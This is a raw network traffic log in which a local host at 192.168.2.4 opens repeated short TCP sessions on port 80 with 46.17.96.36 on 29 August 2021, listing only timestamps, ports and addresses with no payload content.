Aug 29, 2021 22:27:34.659399033 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.690669060 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.690710068 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.690736055 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.690761089 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.690783978 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.690943003 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.690972090 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.690996885 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.691157103 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.691195965 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.691365004 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.731270075 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.731338978 CEST	49792	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:34.929554939 CEST	49792	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:34.931315899 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:34.965353012 CEST	80	49792	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.965452909 CEST	49792	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:34.967850924 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:34.967967987 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:34.969371080 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:34.969502926 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:34.969680071 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:34.969887972 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.007611036 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.007632971 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.007639885 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.007803917 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.007951021 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.008150101 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.008243084 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.008261919 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.008423090 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.008488894 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.045734882 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.045773983 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.045808077 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.045836926 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.045835018 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.045861006 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.045876026 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.045886040 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.045891047 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.046052933 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.046098948 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.082273006 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.082328081 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.082365990 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.082403898 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.082429886 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.082456112 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.082500935 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.082520962 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.082535982 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.082683086 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.082865000 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.084482908 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.086250067 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.086277008 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.086358070 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.088956118 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.120922089 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.121175051 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.121220112 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.121534109 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.121578932 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.121619940 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.121658087 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.155793905 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.155909061 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.670026064 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.671441078 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.705642939 CEST	80	49793	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.705777884 CEST	49793	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.706377983 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.706492901 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.712956905 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.713179111 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.713373899 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.713519096 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.747853041 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.747874975 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.748092890 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.748197079 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.748234987 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.748368025 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.748369932 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.748461008 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.783087015 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.783109903 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.783128977 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.783186913 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.783212900 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.783246994 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.783256054 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.783294916 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.783318996 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.783400059 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.783416986 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.783484936 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.818384886 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.818425894 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.818448067 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.818471909 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.818495035 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.818497896 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.818526983 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.818550110 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.818627119 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.818650007 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.818674088 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.818768978 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:35.858033895 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.858067036 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.858081102 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.858095884 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.858109951 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.858129978 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.891603947 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:35.891865969 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.105266094 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.106307030 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.140129089 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.140268087 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.140845060 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.140934944 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.141122103 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.141222954 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.141801119 CEST	80	49794	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.145174026 CEST	49794	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.175172091 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.175215960 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.175240993 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.175266027 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.175290108 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.175312042 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.175343037 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.175359964 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.175395012 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.175479889 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.207873106 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.207923889 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.207950115 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.207994938 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.208079100 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.208112955 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.208163977 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.208194017 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.208250046 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.208355904 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.208429098 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.208466053 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.240771055 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.240788937 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.240807056 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.240825891 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.240880013 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.240909100 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.240953922 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.241101980 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.241116047 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.241317034 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.241919994 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.241950989 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.241970062 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.242176056 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.242367983 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.242386103 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.273426056 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.273442984 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.273461103 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.273478985 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.273494005 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.273614883 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.311410904 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.314892054 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.543304920 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.572624922 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.575856924 CEST	80	49795	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.575979948 CEST	49795	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.605323076 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.605830908 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.606376886 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.606472015 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.606647015 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.606736898 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.638778925 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.638808966 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.639007092 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.639185905 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.639228106 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.639245033 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.639290094 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.639307022 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.639317989 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.639728069 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.671834946 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.671906948 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.672152996 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.672199965 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.672267914 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.672277927 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.672415018 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.672591925 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.672677040 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.675106049 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.705295086 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.705317020 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.705328941 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.705430031 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.705560923 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.705668926 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.705864906 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.705991030 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.706187963 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.706342936 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.708173037 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.708225965 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.738181114 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.738245964 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.738327026 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.738470078 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.778872013 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:36.783193111 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.989053011 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:36.990006924 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.021945953 CEST	80	49796	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.022243977 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.024471045 CEST	49796	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.025392056 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.025418997 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.025510073 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.025722027 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.025837898 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.057311058 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.057363987 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.057446957 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.057492971 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.057537079 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.057581902 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.057596922 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.057646036 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.057765961 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.057866096 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.057959080 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.057993889 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.058026075 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.058051109 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.058084011 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.058144093 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.089689970 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.089747906 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.089790106 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.089827061 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.089859009 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.089885950 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.089931965 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.089972019 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.089997053 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.090054989 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.090158939 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.090229988 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.090269089 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.090315104 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.090341091 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.090387106 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.090423107 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.090487957 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.090527058 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.090575933 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.090605974 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.121952057 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.122078896 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.122339964 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.122447968 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.122554064 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.122575045 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.122601032 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.122622967 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.122648001 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.122678041 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.122694016 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.122771978 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.122945070 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.123166084 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.123189926 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.123280048 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.123300076 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.123472929 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.123496056 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.123609066 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.123827934 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.123850107 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.123940945 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.123956919 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.124098063 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.154181957 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.154218912 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.154295921 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.154443026 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.154665947 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.154695034 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.154828072 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.154850960 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.154968023 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.193850994 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.193974018 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.515113115 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.516777992 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.547730923 CEST	80	49797	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.547816038 CEST	49797	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.552702904 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.552814960 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.554042101 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.554145098 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.554327011 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.554466009 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.589714050 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.589745045 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.589755058 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.589766026 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.589901924 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.589920998 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.589960098 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.590042114 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.590059996 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.626975060 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.627093077 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.627126932 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.627146006 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.627166986 CEST	49798	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:37.627175093 CEST	80	49798	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:37.627201080 CEST	80	49798	46.17.96.36	192.168.2.4
